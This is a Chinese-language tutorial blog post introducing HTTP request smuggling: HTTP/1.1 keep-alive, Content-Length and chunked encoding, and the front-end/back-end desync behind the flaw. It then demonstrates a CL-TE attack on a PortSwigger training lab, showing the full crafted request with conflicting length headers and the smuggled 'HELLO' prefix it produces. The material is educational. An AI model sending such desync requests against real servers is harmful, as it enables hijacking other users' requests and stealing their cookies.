美文网首页
http走私漏洞学习(1)--http走私简介

http走私漏洞学习(1)--http走私简介

作者: nohands_noob | 来源:发表于2020-05-30 17:06 被阅读0次

    传送门:
    http走私漏洞学习(1)--http走私简介
    http走私漏洞学习(2)--http走私常见方法
    http走私漏洞学习(3)--http走私漏洞利用

    0x00 什么是http走私

    http走私(HTTP Request Smuggling)最早是在2005年由Watchfire记录的,该漏洞利用了前端服务器(cdn)和后端服务器对数据包边界定义不一致的情况,将前一个数据包的内容插入至下一个数据包中。通常情况下,利用该漏洞可以窃取到用户的请求数据,如cookie等。

    0x01 基础知识

    起初在HTTP1.0中的协议设计中,客户端每一次都要进行一次tcp连接,一旦响应返回就会关闭连接,这种连接称为短链接。

    在HTTP1.1的时代,支持了Keep-Alive模式,也就是请求头中的Connection:Keep-Alive,在HTTP1.1中默认开启。它告诉服务器,接收回应此HTTP请求后,不要关闭TCP链接,对后面的HTTP请求重用该TCP连接,这样就减少了服务器的开销。但它只能请求一次响应一次。

    在有了Keep-Alive后,后续就有了Pipeline(管线化),它可以批量提交多个HTTP请求,不必请求一次响应一次。

    Content-length(实体长度),指出报文实体主体的字节大小,如果 Content-Length 比实际长度短,会造成内容被截断;如果比实体内容长,会造成无响应至等待超时。

    Transfer-Encoding: chunked(分块编码),在请求头部添加该行,意味着请求报文使用分块编码,在每一个块中首先使用十六进制表示当前块的长度,然后\r\n(回车,占两字节),接着是块的内容,再回车此块结束,最后用0表示传输完毕,最后空两行。

    0x02 产生原理

    一个正常的请求中,前端发送的数据,后端可以完全接收。
    后端能否正确的接收完整请求的数据,意味着前后端结束位必须达到一致。当攻击者发送一个‘模糊’的请求,后端认为其中一部分是正常请求,而余下的数据依然留在服务器中,当下一个请求过来时,余下的数据和当前的请求拼合在一起变成了一个请求,这些余下的数据便成为了走私数据。

    0x03 简单演示

    利用https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te中的靶场进行演示
    该靶场中利用的是CL-TE走私,前端遵循Content-Length,后端遵循Transfer-Encoding,CL被忽略,按TE处理。

    进入靶场抓包,修改为POST请求方式,关闭burp suite自动更新Content-Length功能
    正常提交数据包正常返回:
    修改数据包,添加 Transfer-Encoding: chunked,修改数据包Content-Length的值
    POST / HTTP/1.1
    Host: ac281f8a1ece4f1980d61fb7000a00d0.web-security-academy.net
    Connection: close
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) >AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 >Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: cross-site
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: session=E4Rwvo7mdvUM2W9694zcELGHntk1EJGk
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 10
    Transfer-Encoding: chunked
    
    0
    
    HELLO
    
    
    
    Content-Length为10的原因为回车占据两字节,回车+0+回车+HELLO共10字节,接着提交,返回正常
    再次提交,提示:"Unrecognized method HELLOPOST"
    发现HELLO拼接到了另一个数据包,数据包变成了
    HELLOPOST / HTTP/1.1
    ....
    

    这便造成了一个简单的http走私

    0x04 参考文章

    1、漏洞银行丨HTTP Request Smuggling账户劫持与WAF绕过详解-柠枫丨咖面110期
    2、freebuf-浅析HTTP走私攻击
    3、freebuf-HTTP走私漏洞分析

    相关文章

      网友评论

          本文标题:http走私漏洞学习(1)--http走私简介

          本文链接:https://www.haomeiwen.com/subject/nnhqzhtx.html